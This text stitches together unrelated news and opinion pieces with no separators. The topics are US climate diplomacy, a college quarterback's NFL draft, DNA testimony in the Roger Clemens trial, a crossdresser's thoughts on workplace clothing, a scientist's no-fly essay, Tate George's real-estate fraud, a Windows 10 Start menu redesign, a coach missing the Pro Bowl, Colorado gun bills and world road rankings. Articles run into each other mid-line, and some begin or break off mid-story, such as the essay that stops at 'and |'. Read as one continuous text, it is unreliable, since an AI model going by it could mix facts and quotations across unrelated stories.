“America is still in,” Cañete said. “Our perception is, fortunately, there is real action on the ground, and we’re very pleased.”
He said as long as the U.S. hasn’t left the agreement, the country is “entitled to participate” in talks.
With higher-level politicians from other countries expected to arrive at the conference Wednesday, Cañete said, “We’re now landing in the political level, and we’ll see what the positions of the United States are.”
Few observers were expecting a dramatic shift, however, from the previous week. Dave Banks, Trump’s energy adviser, who led the controversial coal panel, told POLITICO that U.S. policy on fossil fuels is separate from what American diplomats are quietly discussing in negotiation halls.
“There’s a reason we didn’t talk about negotiations, because negotiations are over there,” Banks said, referring the other side of a sprawling campus here where global environment leaders are discussing implementation of the Paris agreement. “Over here is where you can have more general policy discussions.”
Tom Shannon, a State Department veteran who has served as ambassador to Brazil, will not arrive Wednesday as planned to take the reins from career negotiators who were in charge for the first week, the State Department said Tuesday.
But Banks said Shannon would not have taken up the White House’s coal banner.
“So you think he’s going to say, ‘We’re going to promote coal’?" Banks said. "No, that’s a policy discussion. It’s not a negotiation.”
Banks also insisted the controversial U.S. panel on coal wasn’t meant to push exports of U.S. fossil fuels but rather to open a practical discussion that wouldn’t otherwise occur at a climate conference.
“We’re not selling coal or gas or nuclear power,” he told reporters in a huddle
In their official discussions with foreign diplomats, State Department negotiators are taking positions similar to the Obama administration on technical issues, including on how countries should report on and demonstrate their progress in reducing greenhouse gas emissions. Banks confirmed that the delegation has the same goal to require more developed countries to meet the same standards as the U.S.
One senior African negotiator described the situation for U.S. delegates as “a bit weird.”
“I think the mandate is not to be a blocker,” he said. “They engage, but in the end they’re not the ones calling the shots.”
American negotiators are also taking a “tough line” against industrialized nations paying more for less-developed countries to address climate change, said Alden Meyer, director of strategy and policy for the Union of Concerned Scientists.
While the negotiations on technical matters continued to unfold, climate activists were looking forward to a potentially difficult climate conference next year in Poland, a major coal-producing state — and to the next presidential election in the United States.
As Inslee told one audience, “The next president of the United States is not going to be a climate denier.”Despite having one year of eligibility left, Kyle Padron inexplicably opted to enter the 2013 NFL Draft. The former Southern Methodist University transfer had only spent one season at Eastern Washington and apparently he thought that was enough to tempt his NFL fate and declare draft eligible.
He sure liked replacing Bo Levi Mitchell because after supplanting Mitchell at SMU halfway through the 2009 season, prompting Mitchell to transfer to Eastern Washington, Padron himself would see turnabout and be supplanted, thereby transferring to EWU to replace Mitchell after he had graduated. Oh, what a tangled web we weave.
In his one season at EWU, Padron started just 5 games and split time with redshirt freshman, Vernon Adams, in the other six contests. Padron would eventually lead the Eagles to the semifinals of the FCS playoffs. Along the way, he completed 175-of-296 passes (59%) for 2,491 yards with 17 touchdowns to 7 interceptions. Not bad but not exactly what one would consider enough to parlay into being an NFL draft pick.
In his three prior seasons and 21 starts at SMU, he has the school's career record for passing efficiency (142.0 rating) and total offense per game (259.9). Those numbers weren't enough to keep him from being benched his junior season after a poor showing in the opener in favor of Senior New Mexico State transfer, JJ McDermott. Padron would later suffer a herniated disc which eliminated any chance of earning his job back. That benching is what prompted him to take the Bo Levi Mitchell route expressway to Eastern Washington.
Padron's best seasons were his freshman and sophomore years at SMU.
As a freshman he led the Mustangs to wins in five of their last six games to earn a spot on the Conference USA All-Freshman Team. Their strong finish earned SMU a birth in the Hawaii bowl where Padron took home MVP honors after passing for a school-record 460 yards and 2 TD's in a 45-10 route of Nevada.
Padron's only college season as the fulltime starter was his sophomore year. That season Padron started all 14 games at quarterback, but could do no better than honorable mention All-Conference USA despite setting several SMU records including passing yards (3,828), total yards (4,072), touchdowns (31), completions (302) and attempts (508). SMU would finish the season with a 7-7 record and lose to Army in the Armed Forces Bowl despite Padron completing 23 passes for 302 yards with a 67.6 completion percentage and 2 touchdowns.
The 6-2, 221 pound quarterback shows great pocket awareness and mobility. Coaches and scouts like him for his sound mechanics and footwork. His passes don't flutter or sail even on the move as he has excellent mechanics to step into throws and, though he is not considered incredibly athletic, has shown great elusive abilities. When rolling to his left, he sets his feet prior to making his throw while rolling right, he can throw on the run with accuracy.
Several teams showed interest in Padron prior to the draft including the Chiefs, Browns, Seahawks, Texans, Cowboys, Steelers, Bears, Dolphins and Panthers.
He sat down with SB Nation site The Phinsider last month. Read that interview here.
The Raiders drafted Tyler Wilson in the fourth round as competition at the quarterback position with Matt Flynn and Terrelle Pryor. Teams always head into camp with four quarterbacks to ease the burden and spread the ball around. Padron is a camp arm at this point who will be auditioning for the NFL in the preseason.
Follow @LeviDamienWASHINGTON -- A needle stored with a beer can appeared to contain an extremely tiny amount of Roger Clemens' DNA, which turned out to be good news and bad news for both sides in the perjury trial of the seven-time Cy Young Award winner.
A forensic scientist on Friday linked Clemens to cotton balls and a syringe needle saved from an alleged steroids injection 11 years ago. His testimony, laced with statistics and probabilities, was one of the last pieces of the government's case in its effort to prove that the pitcher lied to Congress in 2008 when he denied using performance-enhancing substances.
Under cross-examination, Clemens' lawyer tried to poke holes in the physical evidence. He got the expert to acknowledge there were "hundreds of thousands" of white males in the United States who could be a match for the scant amount of DNA found on the needle, and that it's "conceivable" the cotton balls could have been contaminated by beer and saliva.
Prosecutors had hoped to wrap up their case heading into the long holiday weekend as the trial reached the end of its sixth week, but the DNA expert's testimony took much longer than expected. U.S. District Judge Reggie Walton then ended the session a half-hour early when one of the jurors learned that her mother had died.
The judge said he doesn't expect the juror, a woman who works in law enforcement with the local public transportation authority, to return. Two jurors have previously been dismissed for sleeping, and another departure would leave only one alternate in a trial expected to last at least two more weeks.
The government's key witness, longtime Clemens strength coach Brian McNamee, says he injected Clemens with steroids in 1998, 2000 and 2001 and with human growth hormone in 2000. He said he kept the needle and other waste from a 2001 injection and stored it in and around a beer can in a FedEx box in his home for more than six years before turning it over to federal investigators.
Alan Keel of Forensic Science Associates told jurors that the DNA found on two cotton balls was "unique to one person who has ever lived on the planet" -- Clemens. He said that one of the cotton balls had a random match possibility of one in 15.4 trillion for Clemens' DNA, and the other was one in 173 trillion, when compared to the population of white people in the U.S.
But the needle was not as conclusive. Keel was able to detect only six to 12 cells for testing when he examined it. A drop of blood, by comparison, contains up to 30,000 cells.
The match: one in 449 for Clemens.
"That means that Mr. Clemens is the likely source of that biology," Keel said.
Knowing that the defense would attempt to undermine the integrity of the evidence, prosecutor Courtney Saleski asked: "Is there any way to fake this?"
"No," said Keel, shaking his head. "If this were contrived, I would expect to obtain much more biological material."
In other words, it would have been extremely difficult for anyone, including McNamee, to purposely contaminate the needle because it contained such a minute amount of human residue.
During cross-examination, Clemens lawyer Michael Attanasio attacked the findings in several ways. He pointed out that Keel was being paid by the government. He pointed out that Keel didn't test all of the items available. He pointed out that the DNA had degraded over time. He noted that 449 was a "far, far smaller number" than the other numbers in the trillions, and it therefore can't be said with uncontested certainty that the DNA on the needle belongs to Clemens.
Attanasio got Keel to agree that the Clemens blood found on one cotton ball appeared to be from the aftermath of an injection, but that the Clemens puss on the other cotton ball "is not from an immediate injection site." The lawyer also suggested the blood on the cotton ball might not have come from an injection at all: "Is it not at all uncommon for a pitcher to have a little blood blister at the end of his finger when he was pitching?"
Attanasio further implied that residue beer and saliva inside the can could have soaked the cotton balls. Keel said that was "conceivable" and "not implausible," but he added that the appearance of the cotton balls would have reflected the contamination.
"You would have a big, diffuse mess," Keel said.
Saleski picked up on that point in her follow-up questioning.
"Did you see any evidence that these cotton balls were exposed to a bunch of beer?" she asked the witness.
"Not really, no," Keel said.
Keel also re-emphasized his opinion that the minute sample of DNA on the needle could not have been manipulated or put there "by design."
"It would be virtually impossible," Keel said.
The needle naturally caught the attention of the jurors, who submitted multiple questions for the judge to ask the witness about the one-in-449 ratio.
"There's the rub," said Keel as he explained again that the results were compatible with Clemens -- but couldn't be considered a conclusive match.
Clemens' lawyers have maintained all along that a beer can is no way to store evidence. During the questioning of Keel, the government decided to emphasize that point, too, inferring that if McNamee had truly intended to keep the needle and cotton balls with the intention of implicating Clemens, he would have found a more sterile place for it. McNamee has said he kept the evidence to placate his wife, who was concerned he would take the fall if his involvement in performance-enhancing drugs ever came to light, and that he had no plans to make it public.
Keel also found a gauze pad and tissue that matched McNamee's DNA to an even greater probability than the Clemens matches. McNamee has said he would sometimes accidently cut himself while opening small glass containers of steroids before injecting Clemens.
The gauze pad match was 1 in 1.8 quintillion people for white Americans.
A quintillion has 18 zeroes in it.Someone at work recently posted a link to an article about the difficulties women face in choosing what to wear for work/interviews (great article, well worth a read – http://www.xojane.com/issues/professional-dress-for-women)
On the days where I present as male at work, so little thought goes into my appearance – I just grab a t-shirt and a hoodie, check to make sure my jeans are still wearable (SNIFF TEST), and then head into work. However, on the days where I present as female, every little thing becomes an enormous battle – I have to (fairly exhaustively) mentally prepare the night before, judging what outfits might and might not make me seem unprofessional. It’s not only the idea of what is or is not appropriate for work, but what you will be judged on for your choices.
How short is too short?
If I’m wearing a skirt or a dress, I have to consider length. If I choose a skirt that hits mid-thigh, since my legs are longer does that mean I’m technically showing more leg than a shorter woman wearing a skirt that also hits mid-thigh? What do the tights I’m wearing say about me? If they’re patterned, does it make it seem like I want people to pay attention to my legs?
There have been numerous occasions in the morning where I’ve put on patterned tights, decided that it draws attention to my legs, and then opted for my usual plain ones, or in some cases, opted to just wear jeans instead.
How high is too high?
I tend to wear heels when I dress up, because, well, I love heels. But there’s still the issue of which heels to wear. Are lower/chunkier heels more dowdy? Do they give the impression I’m less fun? Do higher/skinnier heels indicate that I’m slutty or looking for attention?
What does this dress mean?
Is it too low-cut? I don’t even have cleavage to show! If my dress is too tight, does that give the impression that I want to show off my body? If it’s too loose, does it imply that I don’t care about my appearance? If it’s too bright, does that say I want attention? If it’s dull, does that signal I’m a dull person?
How is my face?
What does this lipstick say? Is it too bold? Maybe I should try for something more muted? Is my contouring too severe? Should I tone down the eyeliner and rein in my wings? Is this too much blush? (Although if you have to ask, you’ve gone too far!)
Leaving aside the fact that I’m a crossdresser, just getting to a point in the morning where I feel like I look nice is a battle where I’m fighting off a universe of imagined judgements of what my outfit possibly says about me as a person.
Women have to go through this every day.
Read more about my thoughts and adventures on Being Out.This weekend, 25,000 Earth, Sun, and planetary scientists from across the US and abroad flew to New Orleans for the annual American Geophysical Union’s Fall Meeting. These scientists study the impact global warming is having on Earth. Unfortunately, their air travel to and from the meeting will contribute to that warming by emitting around 30,000 tonnes of CO2.
As an Earth scientist and AGU member myself, I know the importance of their work. Still, there’s something wrong with this picture. As scientists, our work informs us – with dreadful clarity and urgency – that burning fossil fuel is destroying the life support systems on our planet. There’s already more than enough science to know we need to stop. Yet most scientists burn more than the average American, simply because they fly more.
I haven’t flown since 2012, nor have I wanted to
Few people know how harmful it is to fly in planes, including scientists. In 2010, I sat down and estimated my climate emissions. It turns out that, hour for hour, there’s no better way to warm the planet than to fly. I’d flown 50,000 miles during the year, mostly to scientific meetings. Those flights accounted for 3/4 of my annual emissions. Over the next two years, I gradually decreased my flying.
Eventually, there came a day when I was on the runway about to take off and felt an overwhelming desire not to be on the plane. I saw too clearly the harm it was doing to the world’s children, to all the beings on our planet. I haven’t flown since 2012, nor have I wanted to.
Climate activists tend to fly a lot. This sends its own contradictory message
Today, while I know that my career could progress slightly faster if I flew, I find it hard to imagine a scenario that would make flying seem worthwhile to me. (If I really want to attend a conference in person, I take the train.) And I’ve realized that the main impact of reducing our emissions isn’t the emissions reduction itself: by modeling change, we tell a new story of what’s possible, shifting the culture and opening space for large-scale change.
In becoming scientists, we didn’t sign up to burn less fossil fuel or to be activists. But in the case of Earth science, we have front row seats to an unfolding catastrophe. Because of this, the public takes our temperature: if the experts don’t seem worried, how bad can it be?
The three-degree world: cities that will be drowned by global warming Read more
When we make a conscious effort to contribute less to global warming, we can better communicate the urgency of the Earth system changes we’re seeing. As a citizen and a father, I know I feel a responsibility to sound the alarm. Not to do so, for me, would be a kind of denial.
I’m not alone. Over 400 academics have signed a petition at flyingless.org, and a few Earth scientists have joined me in telling their stories at noflyclimatesci.org. Together, we’re pushing for increased use of web-based and regional meetings, more remote support from the AGU, and |
Three months passed, and then a year.
There was Naiima Horsley-Fauntleroy, an employee of the city of East Orange who used her inheritance to invest $50,000 with George. The profits George promised her, she reckoned, would help her pay off law school debt. Those profits never came.
It was always a similar dance. George would contact the investors through mutual friends and offer them sky-high interest on investments that they were told carried no risk. He claimed to have developed $500 million worth of real estate and told them family members and NBA players invested with him. He signed promissory notes personally guaranteeing the loans along with a mysterious rich backer in Florida named Howard Trachtenberg.
Some, such as Mellinger, later said they had a bad feeling when they first met George. But those were the heydays of the housing boom, when absurd returns didn’t seem so absurd. At any rate, the investors had little time to decide. “As you know; first in gets the deal,” George wrote to Ramsey and Taylor in September 2006.
After the money was wired and the repayment deadline blown, the excuses began. First, George would point to delays in the project. He would be slow to answer calls or emails. When investors kept pressing for repayment, his checks were inevitably lost in the mail. “What happened to the check?” Knight wrote in an email to George on Sept. 9, 2009 – more than two years after he had wired over the $300,000. “I thought you got it by now, bro,” George responded. “Please send me your address again and when I return from out of the country I will overnight it to you.”
Some sued. Others pleaded, telling George about the hardships he was causing them. Most never saw their money again.
“I had become aware that there are other people who had made investments and who weren’t paid,” Mellinger later recalled. “Tate lost his house in Florida, Tate lost his house in West Orange. I believe that something bad happened to my money.”
In 2011, federal agents arrested George on charges of wire fraud, claiming he had stolen $2.5 million from a dozen investors. In some cases much of it was gone within hours of George receiving it. He spent it on his relatives and his girlfriend, on renovations to his house, on new air conditioning units, on his white Chrysler, on his tax debt and his mortgage, according to prosecutors.
At one point, George spent $2,900 of his investors’ money on a trailer for a reality show he wanted to pitch to TV networks. The four-minute video shows George playing golf, schmoozing with actor Forest Whitaker and then-Newark Mayor Cory Booker and goofing around with NBA star Chucky Atkins. He has giant-baby looks: tall and jowly, with a youthful face and big eyes. Standing on Times Square in a suit, he flashes two fingers – “V” for victory.
“People say a lot about Tate George. Tate this, Tate that, Tate over here, Tate over there,” George says in the video, flashing a grin. “It’s all things Tate. Let’s go watch.”
II. The Dribble
The shot in the 1990 UConn-Clemson game, still widely considered the single greatest play in college basketball history, elevated a 22-year-old George to national fame. That summer, the New Jersey Nets chose him with the 22nd pick of the draft. An old photograph captures the moment: George bows his head, smiling, as friends and family jump up around him. It seemed like a perfect union: the immensely gifted son of Newark returning to play for his home state. His contract would pay him $4.7 million over five years.
“He had a great family structure, he had friends. He had a support structure on the outside, so he wasn’t one of those guys you (worried) about,” George’s college coach Jim Calhoun told the Hartford Courant in 2013. “He did have swagger, he had a lot of confidence in himself and he parlayed that into an NBA career.”
The NBA career didn’t go as hoped. George averaged 10.6 minutes per game in his first season and 14.8 in his second as a substitute, but saw his playing time slip in the third year. The Nets tried to trade George but couldn’t find any takers. A few months later, they cut him. An odyssey through lower-tier leagues in the U.S. and Europe followed. In 2000, at 32, he retired from the game.
[vision_pullquote style=”4″ align=””] “I believe that something bad happened to my money.” [/vision_pullquote]George made a living playing basketball for a decade. But he never amassed the kind of wealth some other players of his generation did. As sports marketing grew in sophistication and Michael Jordan made basketball a global sport, league revenues ballooned. So did player salaries. Between 1984 (the year Jordan entered the league) and 2008, the NBA’s salary cap grew more than eightfold in inflation-adjusted terms. Even role players could become seriously rich.
The sudden wealth was a mixed blessing. Many players grew up poor and had little experience handling large sums of money, and they tended to burn through it fast. In 2009, Sports Illustrated published a report claiming 60 percent of NBA players were broke within five years of retirement. Things were worse in the NFL, where a staggering 78 percent of players were in serious financial trouble two years after quitting the game. The main culprits: expensive lifestyles, divorces and bad financial advice.
Faced with this financial uncertainty, many athletes turned to real estate as a stable investment. The list of former star athletes that launched their own development firms includes Lakers legend Magic Johnson, former Cowboy Emmitt Smith, former Spur David Robinson, former Met Mo Vaughn and many more. Others chose to invest in outside ventures. New York Knicks’ Carmelo Anthony, for example, recently bought a stake in the South Bronx residential development by Somerset Partners and the Chetrit Group at 2401 Third Avenue, according to sources.
Real estate is “straightforward,” said David Gross, a business manager for several athletes, including the Lakers’ Luol Deng. “It makes sense and they feel like there’s no hocus-pocus, no voodoo where one day it’s going to disappear like some of the financial instruments that they are pitched.”
George was no Magic Johnson. But he was an important figure in northern New Jersey, and knew how to exercise his clout. Other NBA players knew him, and so did politicians and business leaders.
In January 2006, George signed a contract to buy a parcel in Elizabeth. His partner on the deal was Michael Chu’di Ejekam of the Bayrock Group, a development firm known for co-developing the Trump Soho, and also for being embroiled in several fraud scandals. The deal ultimately fell apart, but George would continue to list it among his many ongoing projects.
As George picked up new projects and began to look for investors, he played himself up as an old hand. He called himself CEO, president and chair of the board of directors of the George Group. “Tate George personally established the stable and substantial development portfolio of the company that presently exceeds $500 million,” his prospectus read. It listed completed condo developments in Florida, along with images and location. (The developments exist, but George was never involved.)
One of George’s early investors, an engineer named Ralph Ramsey, recalled that George claimed family members and NBA players invested with him, which put him at ease. “Tate said that Chudi worked for a company named Bayrock and that was connected with Donald Trump, and he essentially facilitated a lot of the investment opportunities connected with Trump,” Ramsey said in court.
Many of George’s investors came had some connections to pro basketball. Knight was a player. Horsley-Fauntleroy, the city worker with law school debt, and Mellinger, the attorney, were both friends with players. George’s most famous victim was Charlie Villanueva, who recently played for the Dallas Mavericks.
[vision_pullquote style=”4″ align=””] What I’m doing is not self-serving, but other-serving.” [/vision_pullquote]Bank records and witness testimony show that George targeted these investors primarily to get his personal finances in order.
“I need Brevin [Knight]’s money because I owe money on the house,” Nicholas Nassiff, an urban planner who worked with George, overheard George telling his accountant over the phone in mid-2007. Knight’s money, wired in June, was gone in less than two months. When Horsley-Fauntleroy wired over $47,000 on August 15, 2007, George’s account balance was $-4,777.14.
In hindsight, his frauds seem obvious. When Villanueva invested $250,000 in a Bridgeport, Conn., development in 2010, George persuaded him to wire the money directly to his personal account rather into an escrow. He claimed his partner on the project, the Simon Konover Company, preferred it that way. When Villanueva’s financial advisers asked for a financial statement from George, he faked his former accountant’s letterhead and sent a document with the headline “Assest and Labilties” (sic). It claimed George was worth over $12 million.
An executive at Simon Konover declined to comment. Victims and former associates named in court documents either declined to comment, did not respond to requests for comment or could not be reached.
Had his investors run a simple search of court or property records, they would have known better. So why didn’t they?
Court records indicate that some investors more or less blindly trusted him because of his ties to the NBA community. Villanueva described the group of former UConn players that made it to the NBA as a “fraternity” that both he and George belonged to. Before investing, he asked Chucky Atkins about George. Atkins, Villanueva’s former teammate at the Detroit Pistons, vouched for George. That seemed to seal the deal.
“He was known for being a kid who came from the area and made it,” recalled Horsley-Fauntleroy. “Yeah. He was – is well known and trusted – was trusted.”
The charming, sociable George was a master at exploiting that trust. “People just assume athletes are stupid,” said one financial adviser to athletes, speaking on condition of anonymity. “But from my experience their level of sophistication is no different than any other vocation, especially if your background is not related to finance. You have a whole cadre angling at taking of advantage of them. They’re just targets their entire life, and that makes them defensive. It forces them to double down on personal relationships and that leads to bad outcomes sometimes.”
Even the New York Times fell for George. A July 2010 article titled “After Sports Careers, Vying in the Real Estate Arena” profiled George along with other athletes. George is quoted talking about his Bridgeport project. He told the author that he had “turned down about 75 other opportunities in Connecticut in the last decade.”
“What I’m doing is not self-serving, but other-serving,” George said. “When you don’t work for fanfare, you can get a lot more done.” Fourteen months later, the FBI came calling.
III. The Shot
As George’s fraud trial kicked off in September 2013, prosecutors began referring to his fraud as a Ponzi scheme. But real Ponzi schemes are elaborate. They pay off high returns to early investors, who spread the word and enable the fraud to proliferate. In George’s case, the investors who took the witness stand never made any money, and most quickly realized they had been hoodwinked.
George’s scheme – if you can even call it that – was the real-world equivalent of a Hail Mary play. As an athlete, he became famous for pulling a victory out of the jaws of certain defeat. As a real estate fraudster, and later in court, he displayed the same confidence in his own ability to beat crushing odds. He always seemed to believe he could somehow find that next investor just in time, or to uncover exculpatory evidence. “I’m back to ‘The Shot’ days,” George said at one court hearing in September 2013. “I’ve got to hit it again.”
Rather than plead for leniency, George pressed his innocence. He blamed former business partners and employees. An intern had sent the check to the wrong address. His partner, Bayrock’s Ejekam, had run off with the money.
The evidence against George was overwhelming. On Sept. 30, 2013, the jury found him guilty of four counts of wire fraud.
As George appealed – once, then twice – his defense became increasingly creative. In December 2014, he fired his public defender and began representing himself. In rambling and typo-ridden letters to U.S. District Judge Mary Cooper, he accused the government of a cover-up. He claimed the prosecutors had made a mistake arresting him for a crime he didn’t commit, and then tried to hide it by withholding evidence and pressing witnesses to lie.
He had been sitting in Monmouth County jail since September 2013, and as his repeated requests for bail were turned down he grew exasperated.
“If the plan by the government and/or this legal system; is to have me sit in jail until I agree to give up my fight of innocence (…) then the Government has a better chance of me dying in jail first,” he wrote to Judge Cooper on March 23, 2015.
On Jan. 21, 2016, a jury in Camden’s federal court sentenced George to nine years in prison. A day later, George filed a motion to appeal the sentence and the verdict. The case is ongoing.
In an email, relayed by his fiancée Nicoline Steinert, George told TRD he believes prosecutors first arrested him as a pawn in a corruption case against Cory Booker, then Newark’s mayor and now a U.S. senator. Once they realized there was no case, he claims, federal prosecutors tried to cover their tracks by fabricating a case against him and pressing witnesses to lie.
He described himself as the victim of a racist judicial system. In October, George and three other black men convicted of white-collar crimes – former Maryland official and convicted fraudster David M. Robinson, Whitney Houston’s former producer and convicted Ponzi scheme mastermind Charles Huggins and gospel singer-turned financial fraudster Michael Winans – penned a “national concept paper” titled “The Dark Side of Justice.”
“Apparently, some over-zealous prosecutors conduct a modern-day witch hunt to find successful minority businessmen to prosecute and convict by any means necessary to put a gold star on their ego wall, so to speak,” they wrote in the paper, which was sent to news outlets. George also filed a lawsuit against the government and in 2015 he sued his former partner Ejekam.
The Ejekam suit landed George in the middle of the bizarre proxy fight between Jody Kriss and Felix Sater, the two estranged former principals of the Bayrock Group who have been suing each other for years. George initially filed his suit without an attorney, but in early February 2017, Sean Mack of law firm Pashman Stein filed a revised complaint on George’s behalf. Jody Kriss, the CEO of development firm East River Partners who worked with Ejekam at Bayrock, was now named a co-defendant.
“The Tate lawsuit is a complete sham,” Kriss’ lawyer, Bradley Simon, said in a statement to TRD. “We have reason to believe it is being funded by Felix Sater who has filed a plethora of lawsuits in retaliation for the RICO suit brought by Mr. Kriss in the Southern District of New York.”
Why did Mack take up a long-shot case over a small sum of money for a broke client? Asked by phone, Mack stayed silent for a while. “I don’t think I’ve got a …” he said, breaking off the sentence before adding: “Why do I take on any cases?” When TRD asked Mack if Sater is paying for the lawsuit to get at Kriss, he declined to comment. Sater’s attorney claimed that his client didn’t pay for the suit but that he “did pay for a press release email about the suit.”
George still represents himself in his criminal appeal, working from the Fort Dix prison in New Hanover Township, N.J. Steinert, a 29-year-old restaurant manager from Queens, is helping him. “I’ve been sending a lot of certified mail,” she quipped at an October meeting in Midtown Manhattan.
Steinert met George at a bar in 2012, when he was out on bail and awaiting a verdict. She soon found out about the fraud trial but recalled that George “was always confident that he had the documentation to not get convicted.”
Steinert concedes that “mistakes were made,” but says the matter should be civil, not criminal. “That’s what the government is good at, making criminals out of black men,” she said. “The issue is the system.” The fact that most of George’s victims are also black only shows that “they like to play black men against other black men,” she added.
One March 9, the federal appeals court in Philadelphia submitted George’s case on the briefs, meaning there will be no oral argument. It’s unclear when the court will reach a verdict. If he loses, Steinert said, he could shoot for the Supreme Court. She claimed to be optimistic, but seemed under no illusions about his odds. “I’m still going to be young when he comes out,” she said.
After George leaves prison – he is scheduled for release in 2022 – he will still owe his victims millions. On July 21, 2016, the government auctioned off the only thing of value George appeared to still own: a Volvo. It sold for $4,700.Microsoft
Windows 10's Start menu may show the All Apps list by default following the Windows 10 Anniversary Update this summer, according to a sneak peek from Microsoft.
After killing the Start menu in Windows 8 and bringing it back in Windows 10, Microsoft knows that its most loyal fans are sensitive to drastic changes to the Windows experience. So, ahead of the next major Windows 10 update, it's showing off new designs for the Start menu and asking Windows Insider testers to share their thoughts.
Microsoft wants to make it easier for users of Windows 10 PCs and tablets to access apps from the menu and Start screen, by reducing the clicking and scrolling needed to access apps.
The proposed Start menu for PCs in the Windows 10 Anniversary introduces a new hamburger menu to the left top of the screen, adjacent to Most Used apps list. The All Apps list will also be present from the outset beneath Most Used apps, bypassing the need to click on an All Apps icon.
Microsoft software engineer Jen Gentleman posted a GIF of the proposed changes "to ease some concerns" after Microsoft had revealed static images of the new UI.
Other minor changes include moving the Power and Settings icons to a side bar beneath File Explorer.
Microsoft also revealed changes to Start screen for Windows 10 tablets, bringing back the Windows 8.1 Start screen. The All Apps list will take up the full screen and be blended with Most Used app rather than the current design, which has All Apps list on a side panel.
Image: Microsoft
Microsoft has posted the proposals on an Office Sway page where it provides links to its Windows 10 Feedback Hub for comments.
The Anniversary Update is the public name for what was previously known by its codename, Redstone 1. It is Microsoft's first major update to Windows 10 and will likely be released in June or July.
The update will also make it easier for third-party app developers to integrate the Windows Hello biometric authentication features, Windows Ink and Cortana into their apps.
More on Windows 10...Green Bay Packers head coach Mike McCarthy will not be attending this week's Pro Bowl in Hawaii due to a stomach illness, the team announced on Wednesday.
McCarthy was advised by doctors not to travel.
Linebackers coach Winston Moss will take over head-coaching responsibilities at the Pro Bowl for the rest of the week.
Although Packers quarterback Aaron Rodgers withdrew last week because of an unspecified injury, Green Bay will have four players in Sunday's game. Left guard Josh Sitton was selected to the Pro Bowl for the second straight season, and the third time in the past four years. Inside linebacker Clay Matthews was voted in for the sixth time in seven seasons. Outside linebacker Julius Peppers and fullback John Kuhn were promoted as alternates.
The Pro Bowl will begin at 6 p.m. Sunday at Aloha Stadium in Honolulu.Activist Post
Colorado has become the epicenter of the gun control debate after Democrats introduced a package of legislation that would give Colorado the strictest gun control in the western half of the nation.
The set of five bills was approved by the Senate on Monday. Democrat sponsors of the legislation invoked Colorado’s mass shootings, as well as Newtown, CT to justify measures such as limited capacity magazines and more extensive background checks. (Source) An outright ban and gun confiscation was issued by Senate Bill 197 for anyone convicted of domestic violence.
Republicans voiced clear opposition. Beyond party lines, however, various sheriffs have stated that they will not enforce the package even as it is destined to be agreed to by the House and ultimately signed off in full by Colorado Governor John Hickenlooper.
Sheriff John Cooke of Weld County – Colorado’s third largest – has categorically stated that two of the bills are nearly impossible to enforce, and that he and other sheriffs intend to sue the state of Colorado if these bills are made law.
It was reported by the Greeley and Weld County Tribune that Sheriff Cooke doesn’t believe the proposed restrictions are practical, nor would they be effective:
“They’re feel-good, knee-jerk reactions that are unenforceable,” he said.
Cooke said the bill requiring a $10 background check to legally transfer a gun would not keep firearms out of the hands of those who use them for violence.
“Criminals are still going to get their guns,” he said.
Cooke said the other bill would also technically ban all magazines because of a provision that outlaws any magazine that can be altered. He said all magazines can be altered to a higher capacity. (Source)
The bills have earned praise from Joe Biden, though, who issued his “Congrats to Colorado House and Senate for passing universal background checks,” via his Twitter account reports The Tribune.
It is evident that not only are an increasing number of states drawing lines in the sand against federal gun control efforts, but county sheriffs are set to take action even within those states that introduce laws in favor of restricting their citizens’ Second Amendment rights. Utah is another state whose sheriffs have been very vocal saying they are willing to die to protect the Second Amendment.
There are also indications that a backlash from Colorado businesses is underway, similar to gun manufacturers who have refused to sell to NY police and other government agencies in the wake of their strict gun control laws in Colorado’s east coast counterpart.
Boulder-based Magpul Industries, which manufactures firearm magazines among other products, has threatened to leave the state if it restricts magazine capacities. The company posted on its Facebook page instructions for purchasing “standard capacity magazines” in Colorado.
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From the same report posted at BIZPAC Review:
Joining firearm manufacturers’ threats to leave is the popular cable TVOutdoor Channel, (which) said it would stop taping hunting and fishing segments in Colorado if the state passes restrictive gun control legislation.
The U.S. gun control debate continues to reach new levels as an imminent U.N. gun control treaty could apply even more pressure. It still remains to be seen if sheriffs like John Cooke will make good on their words, or if they will abandon citizens to federal and state gun grabs as the heat intensifies.
Relevant Colorado Bills (numbers link to full text and research)
SB 195 – Title: No On-line Training For Concealed Handgun Permits. Summary: In-person training necessary for concealed handgun license.
No On-line Training For Concealed Handgun Permits. In-person training necessary for concealed handgun license. SB 197 – Title: No Firearms For Domestic Violence Offenders. Summary: Anyone subject to a domestic violence protection order or convicted of domestic violence must relinquish guns within 24 hours. A judge could extend to 72 hours.
No Firearms For Domestic Violence Offenders. Anyone subject to a domestic violence protection order or convicted of domestic violence must relinquish guns within 24 hours. A judge could extend to 72 hours. HB 1224 – Title: Prohibiting Large-capacity Ammunition Magazines. Summary: Crime to possess magazine capacity more than 15 rounds.
Prohibiting Large-capacity Ammunition Magazines. Crime to possess magazine capacity more than 15 rounds. HB 1228 – Title: Payment For Background Checks For Gun Transfers. Summary: Fee for purchasers who need background checks.
Payment For Background Checks For Gun Transfers. Fee for purchasers who need background checks. HB 1229 – Title: Background Checks For Gun Transfers. Summary: Add a background-check requirement for many guns sold in private transactions. (Source for all summaries)
Main Source:
http://news.yahoo.com/colo-sheriff-refuses-enforce-gun-control-bills-024608155.html
Other Sources:
http://www.csmonitor.com/USA/2013/0318/Sheriff-vows-not-to-enforce-Colorado-s-tough-new-gun-control-bills
http://www.huffingtonpost.com/2013/03/13/colorado-gun-control-bill_0_n_2866584.html
http://www.denverpost.com/breakingnews/ci_22764810/colorado-guns-bill-ban-guns-domestic-abusers-passes
http://washingtonexaminer.com/utah-sheriffs-warn-obama-of-deadly-war-over-guns/article/2519176
Read other articles by Activist Post HereWHERE ARE the best roads in the world? It may sound like the subject of a pub quiz, but new research by the august World Economic Forum claims to have found the answer: the United Arab Emirates.
The tiny Gulf state topped the league in a survey, published last week, of 14,000 businessmen and academics. Respondents were asked to rate the standard of roads in 144 economies around the world on a scale on which 7 represented “extensive and efficient” and 1 “extremely underdeveloped”. The UAE recorded a score of 6.6.
Search for and buy your next car on driving.co.uk
There were some surprising results: Portugal, a country once synonymous with dodgy hire cars and rutted coastal tracks, came second — presumably a result of EU infrastructure grants used to improve its road network — followed by Austria, France and Holland. Germany, often thought of by British drivers as having the best roads in Europe, was 13th.
Britain’s roads fared less well: a score of 5.2 put it in 30th place, behind Taiwan, Croatia and Cyprus and level with Puerto Rico and Namibia.
